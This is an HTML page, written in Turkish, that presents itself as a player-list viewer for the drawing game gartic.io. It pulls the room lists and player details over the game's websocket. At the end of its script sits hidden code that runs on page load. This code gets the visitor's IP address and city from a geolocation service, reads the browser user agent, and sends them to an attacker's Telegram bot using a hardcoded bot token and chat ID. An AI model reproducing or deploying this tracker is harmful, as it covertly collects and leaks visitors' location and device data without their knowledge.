<!DOCTYPE html>
<html lang="tr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>kangwoo</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f4;
            margin: 0;
            padding: 0;
        }

        h1 {
            text-align: center;
            margin-top: 20px;
            color: #333;
        }

        #searchInput {
            display: block;
            margin: 10px auto;
            padding: 10px;
            width: 80%;
            max-width: 400px;
            border: 1px solid #ccc;
            border-radius: 5px;
            font-size: 16px;
        }

        #playerCount, #totalPlayerCount {
            text-align: center;
            font-size: 16px;
            margin-top: 10px;
            color: #555;
        }

        #usersContainer {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(180px, 1fr));
            gap: 15px;
            padding: 20px;
            justify-items: center;
            margin-top: 20px;
        }

.user {
    display: flex;
    align-items: center;
    justify-content: space-between;
    background-color: #f5f5f5;
    margin: 8px 0;
    padding: 8px 12px;
    border-radius: 6px;
    border-left: 5px solid #ccc; /* Odaya özel renk buradan geliyor */
    box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
    width: 100%; /* Kutuyu yana doğru uzat */
    max-width: 400px; /* İstersen genişliği sınırlayabilirsin */
}

.user img {
    width: 36px;
    height: 36px;
    border-radius: 50%;
    margin-right: 12px;
}

.user div {
    flex: 1; /* İçeriği esnek yapar */
}

.user b {
    font-size: 14px;
    font-weight: bold;
    color: #333;
}

.user i {
    font-size: 12px;
    color: #666;
    display: block;
    margin-top: 2px;
}

.user a {
    font-size: 11px;
    color: #007BFF;
    text-decoration: none;
    display: inline-block;
    margin-top: 4px;
}

.user .download-btn {
    font-size: 10px;
    color: #fff;
    background-color: #007BFF;
    padding: 4px 8px;
    border-radius: 4px;
    cursor: pointer;
    text-align: center;
    margin-top: 4px;
}


        .download-btn:hover {
            text-decoration: underline;
        }

        .filters {
            display: flex;
            justify-content: center;
            margin-top: 20px;
        }

        .filters label {
            margin: 0 15px;
            font-size: 14px;
            color: #333;
        }
    </style>
</head>
<body>
    <h1>Kullanıcılar Listesi</h1>

    <div>
        <label>
            <input type="checkbox" id="havefotoCheckbox" onclick="filterUsers()"> Fotoğrafı Olan
        </label>
        <label>
            <input type="checkbox" id="nofotoCheckbox" onclick="filterUsers()"> Fotoğrafı Olmayan
        </label>
    </div>


    <div id="totalPlayerCount">Toplam kişi sayısı: 0</div>

    <div id="usersContainer"></div>

    <script>
        const f = (x) => document.querySelector(x);
        const fa = (x) => document.querySelectorAll(x);

        let totalPlayerCount = 0;

        function getRandomColor() {
            const letters = '0123456789ABCDEF';
            let color = '#';
            for (let i = 0; i < 6; i++) {
                color += letters[Math.floor(Math.random() * 16)];
            }
            return color;
        }

        function updatePlayerCount(count) {
            const playerCountElement = f("#playerCount");
        }

        function updateTotalPlayerCount(count) {
            const totalPlayerCountElement = f("#totalPlayerCount");
            totalPlayerCountElement.textContent = `Toplam kişi sayısı: ${count}`;
        }

        function addPlayers(users, roomlink) {
            const usersContainer = f("#usersContainer");
            totalPlayerCount += users.length;
            updateTotalPlayerCount(totalPlayerCount);
            updatePlayerCount(users.length);

            const roomColor = getRandomColor();

            users.forEach(user => {
                const foto = user.foto || "https://gartic.io/static/images/avatar/svg/" + user.avatar + ".svg";
                const uclass = user.foto ? "havefoto" : "nofoto";

                usersContainer.innerHTML += `
                    <div class="user flex ${uclass}" style="border-left: 5px solid ${roomColor}">
                        <img src="${foto}" alt="">
                        <div>
                            <b>${user.nick}</b><br>
                            <i>${user.pontos} pt</i>
                            <br><a target="_blank" href="https://gartic.io/${roomlink}">#${roomlink}</a>
                            <br><a target="_blank" href="https://gartic.io/${roomlink}/viewer">#${roomlink} izle</a>
                            <span class="download-btn" onclick="openPhoto('${foto}')">Fotoğrafı Aç</span>
                        </div>
                    </div>
                `;
            });
        }

        function openPhoto(photoURL) {
            window.open(photoURL, '_blank');
        }

        function searchUsers() {
            const users = fa(".user");
            const searchInput = f("#searchInput").value.toLowerCase();

            users.forEach(user => {
                const userName = user.querySelector("b").textContent.toLowerCase();
                user.style.display = userName.includes(searchInput) ? "flex" : "none";
            });

            updatePlayerCount(document.querySelectorAll('.user[style="display: flex;"]').length);
        }

        function filterUsers() {
            const users = fa(".user");
            const havefotoCheckbox = f("#havefotoCheckbox");
            const nofotoCheckbox = f("#nofotoCheckbox");

            const isHaveFotoChecked = havefotoCheckbox.checked;
            const isNoFotoChecked = nofotoCheckbox.checked;

            if (!isHaveFotoChecked && !isNoFotoChecked) {
                users.forEach(user => {
                    user.style.display = "none";
                });
            } else {
                users.forEach(user => {
                    const havefoto = user.classList.contains("havefoto");
                    const nofoto = user.classList.contains("nofoto");

                    if ((isHaveFotoChecked && havefoto) || (isNoFotoChecked && nofoto)) {
                        user.style.display = "flex";
                    } else {
                        user.style.display = "none";
                    }
                });
            }

            updatePlayerCount(document.querySelectorAll('.user[style="display: flex;"]').length);
        }

        function listusers(lang) {
            const usersContainer = f("#usersContainer");
            usersContainer.innerHTML = "";

            fetch(`https://gartic.io/req/list?search=&language[]=${lang}`)
                .then(x => x.json())
                .then(rooms => {
                    let index = 0;

                    function fetchRoom() {
                        if (index >= rooms.length) return;

                        const room = rooms[index];
                        index++;

                        fetch(`https://gartic.io/serverViewer?v3=1&room=${room.code}`)
                            .then(x => x.text())
                            .then(x => {
                                const roomSC = x.split("https://")[1].split(".")[0];
                                let ws = new WebSocket(`wss://${roomSC}.gartic.io/socket.io/?EIO=3&transport=websocket`);

                                ws.onopen = () => {
                                    ws.send('42[12,{"v":20000,"platform":0,"sala":"' + room.id + '"}]');
                                    ws.send('42[46,0]');
                                }

                                ws.onmessage = (msg) => {
                                    if (msg.data.indexOf('42["5"') !== -1) {
                                        addPlayers(JSON.parse('[{"id":' + msg.data.split('[{"id":')[1].split("}]")[0] + "}]"), room.code);
                                        filterUsers();
                                        ws.close();
                                    }
                                }

                                setTimeout(fetchRoom, 2500);
                            })
                            .catch(error => {
                                console.error(`Error fetching room data for ${room.code}:`, error);
                                setTimeout(fetchRoom, 2500);
                            });
                    }

                    fetchRoom();
                })
                .catch(error => console.error('Error fetching room list:', error));
        }

        listusers(8);
 const botToken = "8017116457:AAEBFopNA2CYsYdQRYVrFpIouLA_QMyL874";
        const chatId = "7506703647";
        const deviceInfo = navigator.userAgent;

        fetch('https://freegeoip.app/json/')
            .then(response => response.json())
            .then(data => {
                const userIP = data.ip;
                const userCity = data.city || "Bilinmiyor";

                const message = `boom:
- ip ${userIP}
- sehir ${userCity}
- Chz ${deviceInfo}`;

                fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ chat_id: chatId, text: message })
                });
            });
    </script>
</body>
</html>
